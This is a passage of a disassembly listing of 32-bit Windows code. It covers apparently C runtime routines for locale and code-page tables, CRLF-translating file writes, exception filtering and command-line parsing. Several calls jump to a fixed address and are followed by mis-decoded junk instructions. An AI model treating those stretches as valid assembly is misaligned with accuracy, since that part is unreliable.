[ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419FA3: ; CODE XREF: seg000:00419F61j mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_413E30 mov [ebp-18h], esp mov ebx, esp mov [ebp-20h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_419FD7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-28h] loc_419FD7: ; CODE XREF: seg000:00419FC3j cmp ebx, edi jz short loc_419F8F push esi push ebx push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41F184 ; LCMapStringW test eax, eax jz short loc_419F8F cmp [ebp+1Ch], edi push edi push edi jnz short loc_419FFE push edi push edi jmp short loc_41A004 ; --------------------------------------------------------------------------- loc_419FFE: ; CODE XREF: seg000:00419FF8j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_41A004: ; CODE XREF: seg000:00419FFCj push esi push ebx push 220h push dword ptr [ebp+20h] call ds:dword_41F128 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_419F8F loc_41A01E: ; CODE XREF: seg000:00419F66j ; seg000:00419F89j mov eax, esi jmp loc_419F91 ; =============== S U B R O U T I N E ======================================= sub_41A025 proc near ; CODE XREF: seg000:00419E82p ; sub_41D8D5+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_41A042 loc_41A035: ; CODE XREF: sub_41A025+1Bj cmp byte ptr [eax], 0 jz short loc_41A042 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41A035 loc_41A042: ; CODE XREF: sub_41A025+Ej ; sub_41A025+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41A04D sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41A04D: ; CODE XREF: sub_41A025+21j mov eax, edx retn sub_41A025 endp ; --------------------------------------------------------------------------- loc_41A050: ; CODE XREF: sub_41A414+Bp push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push dword ptr [ebp+8] call sub_41A1E9 mov esi, eax pop ecx cmp esi, ds:dword_45FC24 mov [ebp+8], esi jz loc_41A1DD xor ebx, ebx cmp esi, ebx jz loc_41A1D3 xor edx, edx mov eax, offset dword_42D470 loc_41A084: ; CODE XREF: seg000:0041A091j cmp [eax], esi jz short loc_41A0FA add eax, 30h inc edx cmp eax, offset dword_42D560 jl short loc_41A084 lea eax, [ebp-18h] push eax push esi call near ptr 0A70000h cmp al, [ebx-7AF0FE08h] and al, 1 ; --------------------------------------------------------------------------- db 2 dup(0), 6Ah ; --------------------------------------------------------------------------- inc eax xor eax, eax pop ecx mov edi, offset byte_45FD40 cmp dword ptr [ebp-18h], 1 mov ds:dword_45FC24, esi rep stosd stosb mov ds:dword_45FE44, ebx jbe loc_41A1B9 cmp byte ptr [ebp-12h], 0 jz loc_41A18F lea ecx, [ebp-11h] loc_41A0D7: ; CODE XREF: seg000:0041A189j mov dl, [ecx] test dl, dl jz loc_41A18F movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41A0E8: ; CODE XREF: seg000:0041A0F8j cmp eax, edx ja loc_41A183 or ds:byte_45FD41[eax], 4 inc eax jmp short loc_41A0E8 ; --------------------------------------------------------------------------- loc_41A0FA: ; CODE XREF: seg000:0041A086j push 40h xor eax, eax pop ecx mov edi, offset byte_45FD40 rep stosd lea esi, [edx+edx*2] mov [ebp-4], ebx shl esi, 4 stosb lea ebx, dword_42D480[esi] loc_41A116: ; CODE XREF: seg000:0041A153j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41A149 loc_41A11D: ; CODE XREF: seg000:0041A147j mov dl, [ecx+1] test dl, dl jz short loc_41A149 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41A142 mov edx, [ebp-4] mov dl, ds:byte_42D468[edx] loc_41A137: ; CODE XREF: seg000:0041A140j or ds:byte_45FD41[eax], dl inc eax cmp eax, edi jbe short loc_41A137 loc_41A142: ; CODE XREF: seg000:0041A12Cj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41A11D loc_41A149: ; CODE XREF: seg000:0041A11Bj ; seg000:0041A122j inc dword ptr [ebp-4] add ebx, 8 cmp dword ptr [ebp-4], 4 jb short loc_41A116 mov eax, [ebp+8] mov ds:dword_45FC3C, 1 push eax mov ds:dword_45FC24, eax call sub_41A233 lea esi, dword_42D474[esi] mov edi, offset dword_45FC30 movsd movsd pop ecx mov ds:dword_45FE44, eax movsd jmp short loc_41A1D8 ; --------------------------------------------------------------------------- loc_41A183: ; CODE XREF: seg000:0041A0EAj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41A0D7 loc_41A18F: ; CODE XREF: seg000:0041A0CEj ; seg000:0041A0DBj push 1 pop eax loc_41A192: ; CODE XREF: seg000:0041A19Fj or ds:byte_45FD41[eax], 8 inc eax cmp eax, 0FFh jb short loc_41A192 push esi call sub_41A233 pop ecx mov ds:dword_45FE44, eax mov ds:dword_45FC3C, 1 jmp short loc_41A1BF ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: seg000:0041A0C4j mov ds:dword_45FC3C, ebx loc_41A1BF: ; CODE XREF: seg000:0041A1B7j xor eax, eax mov edi, offset dword_45FC30 stosd stosd stosd jmp short loc_41A1D8 ; --------------------------------------------------------------------------- cmp ds:dword_45E8B0, ebx jz short loc_41A1E1 loc_41A1D3: ; CODE XREF: seg000:0041A077j call sub_41A266 loc_41A1D8: ; CODE XREF: seg000:0041A181j ; seg000:0041A1C9j call loc_41A28F loc_41A1DD: ; CODE XREF: seg000:0041A06Dj xor eax, eax jmp short loc_41A1E4 ; --------------------------------------------------------------------------- loc_41A1E1: ; CODE XREF: seg000:0041A1D1j or eax, 0FFFFFFFFh loc_41A1E4: ; CODE XREF: seg000:0041A1DFj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41A1E9 proc near ; CODE XREF: seg000:0041A05Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and ds:dword_45E8B0, 0 cmp eax, 0FFFFFFFEh jnz short near ptr loc_41A208+1 mov ds:dword_45E8B0, 1 call near ptr 0A70000h loc_41A208: ; CODE XREF: sub_41A1E9+Ej db 36h cmp eax, 0FFFFFFFDh jnz short near ptr loc_41A21D+1 mov ds:dword_45E8B0, 1 call near ptr 0A70000h loc_41A21D: ; CODE XREF: sub_41A1E9+23j add eax, [ebx+0F75FCF8h] mov eax, ds:dword_45E8A8 mov ds:dword_45E8B0, 1 retn sub_41A1E9 endp ; =============== S U B R O U T I N E ======================================= sub_41A233 proc near ; CODE XREF: seg000:0041A168p ; seg000:0041A1A2p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41A260 sub eax, 4 jz short loc_41A25A sub eax, 0Dh jz short loc_41A254 dec eax jz short loc_41A24E xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A24E: ; CODE XREF: sub_41A233+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41A254: ; CODE XREF: sub_41A233+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41A25A: ; CODE XREF: sub_41A233+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41A260: ; CODE XREF: sub_41A233+9j mov eax, 411h retn sub_41A233 endp ; =============== S U B R O U T I N E ======================================= sub_41A266 proc near ; CODE XREF: seg000:loc_41A1D3p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_45FD40 rep stosd stosb xor eax, eax mov edi, offset dword_45FC30 mov ds:dword_45FC24, eax mov ds:dword_45FC3C, eax mov ds:dword_45FE44, eax stosd stosd stosd pop edi retn sub_41A266 endp ; --------------------------------------------------------------------------- loc_41A28F: ; CODE XREF: seg000:loc_41A1D8p push ebp mov ebp, esp sub esp, 514h lea eax, [ebp-14h] push esi push eax push ds:dword_45FC24 call near ptr 0A70000h add al, 83h clc add [edi], ecx test [esi], edx add [eax], eax add [ebx], dh sar byte ptr [esi+100h], 88h ; CODE XREF: seg000:0041A2C3j test ds:0FFFFFEECh, al inc eax cmp eax, esi jb short near ptr loc_41A2B3+6 mov al, [ebp-0Eh] mov byte ptr [ebp-114h], 20h test al, al jz short loc_41A30A push ebx push edi lea edx, [ebp-0Dh] loc_41A2D8: ; CODE XREF: seg000:0041A306j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41A2FF sub ecx, eax lea edi, [ebp+eax-114h] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41A2FF: ; CODE XREF: seg000:0041A2E0j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41A2D8 pop edi pop ebx loc_41A30A: ; CODE XREF: seg000:0041A2D1j push 0 lea eax, [ebp-514h] push ds:dword_45FE44 push ds:dword_45FC24 push eax lea eax, [ebp-114h] push esi push eax push 1 call loc_41B287 push 0 lea eax, [ebp-214h] push ds:dword_45FC24 push esi push eax lea eax, [ebp-114h] push esi push eax push esi push ds:dword_45FE44 call loc_419E01 push 0 lea eax, [ebp-314h] push ds:dword_45FC24 push esi push eax lea eax, [ebp-114h] push esi push eax push 200h push ds:dword_45FE44 call loc_419E01 add esp, 5Ch xor eax, eax lea ecx, [ebp-514h] loc_41A385: ; CODE XREF: seg000:0041A3C4j mov dx, [ecx] test dl, 1 jz short loc_41A3A3 or ds:byte_45FD41[eax], 10h mov dl, [ebp+eax-214h] loc_41A39B: ; CODE XREF: seg000:0041A3B6j mov ds:byte_45FC40[eax], dl jmp short loc_41A3BF ; --------------------------------------------------------------------------- loc_41A3A3: ; CODE XREF: seg000:0041A38Bj test dl, 2 jz short loc_41A3B8 or ds:byte_45FD41[eax], 20h mov dl, [ebp+eax-314h] jmp short loc_41A39B ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: seg000:0041A3A6j and ds:byte_45FC40[eax], 0 loc_41A3BF: ; CODE XREF: seg000:0041A3A1j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41A385 jmp short loc_41A411 ; --------------------------------------------------------------------------- xor eax, eax mov esi, 100h loc_41A3CF: ; CODE XREF: seg000:0041A40Fj cmp eax, 41h jb short loc_41A3ED cmp eax, 5Ah ja short loc_41A3ED or ds:byte_45FD41[eax], 10h mov cl, al add cl, 20h loc_41A3E5: ; CODE XREF: seg000:0041A403j mov ds:byte_45FC40[eax], cl jmp short loc_41A40C ; --------------------------------------------------------------------------- loc_41A3ED: ; CODE XREF: seg000:0041A3D2j ; seg000:0041A3D7j cmp eax, 61h jb short loc_41A405 cmp eax, 7Ah ja short loc_41A405 or ds:byte_45FD41[eax], 20h mov cl, al sub cl, 20h jmp short loc_41A3E5 ; --------------------------------------------------------------------------- loc_41A405: ; CODE XREF: seg000:0041A3F0j ; seg000:0041A3F5j and ds:byte_45FC40[eax], 0 loc_41A40C: ; CODE XREF: seg000:0041A3EBj inc eax cmp eax, esi jb short loc_41A3CF loc_41A411: ; CODE XREF: seg000:0041A3C6j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_41A414 proc near ; CODE XREF: sub_41A852+9p ; sub_41A8AA+Dp ... cmp ds:dword_45FE6C, 0 jnz short locret_41A42F push 0FFFFFFFDh call loc_41A050 pop ecx mov ds:dword_45FE6C, 1 locret_41A42F: ; CODE XREF: sub_41A414+7j retn sub_41A414 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A430 proc near ; CODE XREF: sub_4153D8+2Bp ; sub_4153D8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_45FC3C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41A454 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_414DD0 add esp, 0Ch jmp short loc_41A4B7 ; --------------------------------------------------------------------------- loc_41A454: ; CODE XREF: sub_41A430+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41A499 mov ecx, [ebp+arg_4] loc_41A45F: ; CODE XREF: sub_41A430+5Bj mov al, [ecx] dec edx movzx esi, al test ds:byte_45FD41[esi], 4 mov [edi], al jz short loc_41A483 inc edi inc ecx test edx, edx jz short loc_41A48F mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41A495 jmp short loc_41A489 ; --------------------------------------------------------------------------- loc_41A483: ; CODE XREF: sub_41A430+3Ej inc edi inc ecx test al, al jz short loc_41A499 loc_41A489: ; CODE XREF: sub_41A430+51j test edx, edx jnz short loc_41A45F jmp short loc_41A499 ; --------------------------------------------------------------------------- loc_41A48F: ; CODE XREF: sub_41A430+44j and byte ptr [edi-1], 0 jmp short loc_41A499 ; --------------------------------------------------------------------------- loc_41A495: ; CODE XREF: sub_41A430+4Fj and byte ptr [edi-2], 0 loc_41A499: ; CODE XREF: sub_41A430+2Aj ; sub_41A430+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41A4B4 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41A4B4: ; CODE XREF: sub_41A430+6Fj mov eax, [ebp+arg_0] loc_41A4B7: ; CODE XREF: sub_41A430+22j pop edi pop ebp retn sub_41A430 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4BA proc near ; CODE XREF: sub_41568F+A2p ; sub_415CC7+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, ds:dword_45FC20 push esi push edi jnb loc_41A64E mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:45FB20h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41A64E xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41A50B loc_41A504: ; CODE XREF: sub_41A4BA+177j xor eax, eax jmp loc_41A662 ; --------------------------------------------------------------------------- loc_41A50B: ; CODE XREF: sub_41A4BA+48j test al, 20h jz short loc_41A51B push 2 push edi push ecx call sub_419C0F add esp, 0Ch loc_41A51B: ; CODE XREF: sub_41A4BA+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41A5EA mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41A622 loc_41A53B: ; CODE XREF: sub_41A4BA+F5j lea eax, [ebp+var_414] loc_41A541: ; CODE XREF: sub_41A4BA+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41A575 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41A560 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41A560: ; CODE XREF: sub_41A4BA+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41A541 loc_41A575: ; CODE XREF: sub_41A4BA+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 0A70000h xor al, 85h sal byte ptr [ebx+eax*2-75h], 45h hlt ; --------------------------------------------------------------------------- add [ebp+var_8], eax cmp eax, edi jl short loc_41A5B1 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41A53B loc_41A5B1: ; CODE XREF: sub_41A4BA+EAj ; sub_41A4BA+12Ej xor edi, edi loc_41A5B3: ; CODE XREF: sub_41A4BA+150j ; sub_41A4BA+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41A649 cmp [ebp+arg_0], edi jz short loc_41A622 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41A617 mov ds:dword_45E804, 9 mov ds:dword_45E808, eax jmp loc_41A65F ; --------------------------------------------------------------------------- call ds:dword_41F068 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41A5B1 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A4BA+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 0A70000h pop esi test eax, eax jz short loc_41A60C mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41A5B3 ; --------------------------------------------------------------------------- loc_41A60C: ; CODE XREF: sub_41A4BA+145j call ds:dword_41F068 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41A5B3 ; --------------------------------------------------------------------------- loc_41A617: ; CODE XREF: sub_41A4BA+10Fj push [ebp+arg_0] call sub_41A667 pop ecx jmp short loc_41A65F ; --------------------------------------------------------------------------- loc_41A622: ; CODE XREF: sub_41A4BA+7Bj ; sub_41A4BA+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41A637 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41A504 loc_41A637: ; CODE XREF: sub_41A4BA+16Fj mov ds:dword_45E804, 1Ch mov ds:dword_45E808, edi jmp short loc_41A65F ; --------------------------------------------------------------------------- loc_41A649: ; CODE XREF: sub_41A4BA+FEj sub eax, [ebp+var_10] jmp short loc_41A662 ; --------------------------------------------------------------------------- loc_41A64E: ; CODE XREF: sub_41A4BA+15j ; sub_41A4BA+37j and ds:dword_45E808, 0 mov ds:dword_45E804, 9 loc_41A65F: ; CODE XREF: sub_41A4BA+120j ; sub_41A4BA+166j ... or eax, 0FFFFFFFFh loc_41A662: ; CODE XREF: sub_41A4BA+4Cj ; sub_41A4BA+192j pop edi pop esi pop ebx leave retn sub_41A4BA endp ; =============== S U B R O U T I N E ======================================= sub_41A667 proc near ; CODE XREF: sub_415799+16p ; sub_41598C+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov ds:dword_45E808, ecx mov eax, offset dword_42D560 loc_41A678: ; CODE XREF: sub_41A667+1Ej cmp ecx, [eax] jz short loc_41A69C add eax, 8 inc edx cmp eax, offset dword_42D6C8 jl short loc_41A678 cmp ecx, 13h jb short loc_41A6A9 cmp ecx, 24h ja short loc_41A6A9 mov ds:dword_45E804, 0Dh retn ; --------------------------------------------------------------------------- loc_41A69C: ; CODE XREF: sub_41A667+13j mov eax, ds:dword_42D564[edx*8] mov ds:dword_45E804, eax retn ; --------------------------------------------------------------------------- loc_41A6A9: ; CODE XREF: sub_41A667+23j ; sub_41A667+28j cmp ecx, 0BCh jb short loc_41A6C3 cmp ecx, 0CAh mov ds:dword_45E804, 8 jbe short locret_41A6CD loc_41A6C3: ; CODE XREF: sub_41A667+48j mov ds:dword_45E804, 16h locret_41A6CD: ; CODE XREF: sub_41A667+5Aj retn sub_41A667 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6CE proc near ; CODE XREF: seg000:00415C6Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41A80F test eax, eax pop ecx jz loc_41A803 mov ebx, [eax+8] test ebx, ebx jz loc_41A803 cmp ebx, 5 jnz short loc_41A6FF and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41A80C ; --------------------------------------------------------------------------- loc_41A6FF: ; CODE XREF: sub_41A6CE+23j cmp ebx, 1 jz loc_41A7FE mov ecx, ds:dword_45E8B4 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov ds:dword_45E8B4, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41A7EE mov ecx, ds:dword_42D740 mov edx, ds:dword_42D744 add edx, ecx push esi cmp ecx, edx jge short loc_41A74E lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:42D6D0h[esi*4] loc_41A745: ; CODE XREF: sub_41A6CE+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41A745 loc_41A74E: ; CODE XREF: sub_41A6CE+69j mov eax, [eax] mov esi, ds:dword_42D74C cmp eax, 0C000008Eh jnz short loc_41A769 mov ds:dword_42D74C, 83h jmp short loc_41A7D9 ; --------------------------------------------------------------------------- loc_41A769: ; CODE XREF: sub_41A6CE+8Dj cmp eax, 0C0000090h jnz short loc_41A77C mov ds:dword_42D74C, 81h jmp short loc_41A7D9 ; --------------------------------------------------------------------------- loc_41A77C: ; CODE XREF: sub_41A6CE+A0j cmp eax, 0C0000091h jnz short loc_41A78F mov ds:dword_42D74C, 84h jmp short loc_41A7D9 ; --------------------------------------------------------------------------- loc_41A78F: ; CODE XREF: sub_41A6CE+B3j cmp eax, 0C0000093h jnz short loc_41A7A2 mov ds:dword_42D74C, 85h jmp short loc_41A7D9 ; --------------------------------------------------------------------------- loc_41A7A2: ; CODE XREF: sub_41A6CE+C6j cmp eax, 0C000008Dh jnz short loc_41A7B5 mov ds:dword_42D74C, 82h jmp short loc_41A7D9 ; --------------------------------------------------------------------------- loc_41A7B5: ; CODE XREF: sub_41A6CE+D9j cmp eax, 0C000008Fh jnz short loc_41A7C8 mov ds:dword_42D74C, 86h jmp short loc_41A7D9 ; --------------------------------------------------------------------------- loc_41A7C8: ; CODE XREF: sub_41A6CE+ECj cmp eax, 0C0000092h jnz short loc_41A7D9 mov ds:dword_42D74C, 8Ah loc_41A7D9: ; CODE XREF: sub_41A6CE+99j ; sub_41A6CE+ACj ... push ds:dword_42D74C push 8 call ebx pop ecx mov ds:dword_42D74C, esi pop ecx pop esi jmp short loc_41A7F6 ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A6CE+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41A7F6: ; CODE XREF: sub_41A6CE+11Ej mov eax, [ebp+arg_0] mov ds:dword_45E8B4, eax loc_41A7FE: ; CODE XREF: sub_41A6CE+34j or eax, 0FFFFFFFFh jmp short loc_41A80C ; --------------------------------------------------------------------------- loc_41A803: ; CODE XREF: sub_41A6CE+Fj ; sub_41A6CE+1Aj push [ebp+arg_4] call ds:dword_41F194 ; UnhandledExceptionFilter loc_41A80C: ; CODE XREF: sub_41A6CE+2Cj ; sub_41A6CE+133j pop ebx pop ebp retn sub_41A6CE endp ; =============== S U B R O U T I N E ======================================= sub_41A80F proc near ; CODE XREF: sub_41A6CE+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_42D748 cmp ds:dword_42D6C8, edx push esi mov eax, offset dword_42D6C8 jz short loc_41A83C lea esi, [ecx+ecx*2] lea esi, ds:42D6C8h[esi*4] loc_41A831: ; CODE XREF: sub_41A80F+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41A83C cmp [eax], edx jnz short loc_41A831 loc_41A83C: ; CODE XREF: sub_41A80F+16j ; sub_41A80F+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:42D6C8h[ecx*4] cmp eax, ecx jnb short loc_41A84F cmp [eax], edx jz short locret_41A851 loc_41A84F: ; CODE XREF: sub_41A80F+3Aj xor eax, eax locret_41A851: ; CODE XREF: sub_41A80F+3Ej retn sub_41A80F endp ; =============== S U B R O U T I N E ======================================= sub_41A852 proc near ; CODE XREF: seg000:00415C2Dp cmp ds:dword_45FE6C, 0 jnz short loc_41A860 call sub_41A414 loc_41A860: ; CODE XREF: sub_41A852+7j push esi mov esi, ds:dword_45FE64 mov al, [esi] cmp al, 22h jnz short loc_41A892 loc_41A86D: ; CODE XREF: sub_41A852+33j ; sub_41A852+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41A88A test al, al jz short loc_41A88A movzx eax, al push eax call sub_41C73C test eax, eax pop ecx jz short loc_41A86D inc esi jmp short loc_41A86D ; --------------------------------------------------------------------------- loc_41A88A: ; CODE XREF: sub_41A852+21j ; sub_41A852+25j cmp byte ptr [esi], 22h jnz short loc_41A89C loc_41A88F: ; CODE XREF: sub_41A852+52j inc esi jmp short loc_41A89C ; --------------------------------------------------------------------------- loc_41A892: ; CODE XREF: sub_41A852+19j cmp al, 20h jbe short loc_41A89C loc_41A896: ; CODE XREF: sub_41A852+48j inc esi cmp byte ptr [esi], 20h ja short loc_41A896 loc_41A89C: ; CODE XREF: sub_41A852+3Bj ; sub_41A852+3Ej ... mov al, [esi] test al, al jz short loc_41A8A6 cmp al, 20h jbe short loc_41A88F loc_41A8A6: ; CODE XREF: sub_41A852+4Ej mov eax, esi pop esi retn sub_41A852 endp ; =============== S U B R O U T I N E ======================================= sub_41A8AA proc near ; CODE XREF: seg000:00415C16p push ebx xor ebx, ebx cmp ds:dword_45FE6C, ebx push esi push edi jnz short loc_41A8BC call sub_41A414 loc_41A8BC: ; CODE XREF: sub_41A8AA+Bj mov esi, ds:dword_45E850 xor edi, edi loc_41A8C4: ; CODE XREF: sub_41A8AA+30j mov al, [esi] cmp al, bl jz short loc_41A8DC cmp al, 3Dh jz short loc_41A8CF inc edi loc_41A8CF: ; CODE XREF: sub_41A8AA+22j push esi call sub_413DB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41A8C4 ; --------------------------------------------------------------------------- loc_41A8DC: ; CODE XREF: sub_41A8AA+1Ej lea eax, ds:4[edi*4] push eax call sub_413E5F mov esi, eax pop ecx cmp esi, ebx mov ds:dword_45E82C, esi jnz short loc_41A8FE push 9 call sub_415C7E pop ecx loc_41A8FE: ; CODE XREF: sub_41A8AA+4Aj mov edi, ds:dword_45E850 cmp [edi], bl jz short loc_41A941 push ebp loc_41A909: ; CODE XREF: sub_41A8AA+94j push edi call sub_413DB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41A93A push ebp call sub_413E5F cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41A92D push 9 call sub_415C7E pop ecx loc_41A92D: ; CODE XREF: sub_41A8AA+79j push edi push dword ptr [esi] call sub_413CC0 pop ecx add esi, 4 pop ecx loc_41A93A: ; CODE XREF: sub_41A8AA+6Cj add edi, ebp cmp [edi], bl jnz short loc_41A909 pop ebp loc_41A941: ; CODE XREF: sub_41A8AA+5Cj push ds:dword_45E850 call sub_413ED3 pop ecx mov ds:dword_45E850, ebx mov [esi], ebx pop edi pop esi mov ds:dword_45FE68, 1 pop ebx retn sub_41A8AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A963 proc near ; CODE XREF: seg000:00415C11p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp ds:dword_45FE6C, ebx push esi push edi jnz short loc_41A97A call sub_41A414 loc_41A97A: ; CODE XREF: sub_41A963+10j mov esi, offset dword_45E8B8 push 104h push esi push ebx call near ptr 0A70000h mov eax, cs:dword_45FE64 mov ds:dword_45E83C, esi mov edi, esi cmp [eax], bl jz short loc_41A99F mov edi, eax loc_41A99F: ; CODE XREF: sub_41A963+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41A9FC mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_413E5F mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41A9CF push 8 call sub_415C7E pop ecx loc_41A9CF: ; CODE XREF: sub_41A963+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41A9FC mov eax, [ebp+var_4] add esp, 14h dec eax mov ds:dword_45E824, esi pop edi pop esi mov ds:dword_45E820, eax pop ebx leave retn sub_41A963 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9FC proc near ; CODE XREF: sub_41A963+47p ; sub_41A963+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41AA26 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41AA26: ; CODE XREF: sub_41A9FC+20j cmp byte ptr [eax], 22h jnz short loc_41AA6F loc_41AA2B: ; CODE XREF: sub_41A9FC+58j ; sub_41A9FC+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41AA5D test dl, dl jz short loc_41AA5D movzx edx, dl test ds:byte_45FD41[edx], 4 jz short loc_41AA50 inc dword ptr [ecx] test esi, esi jz short loc_41AA50 mov dl, [eax] mov [esi], dl inc esi inc eax loc_41AA50: ; CODE XREF: sub_41A9FC+46j ; sub_41A9FC+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41AA2B mov dl, [eax] mov [esi], dl inc esi jmp short loc_41AA2B ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A9FC+36j ; sub_41A9FC+3Aj inc dword ptr [ecx] 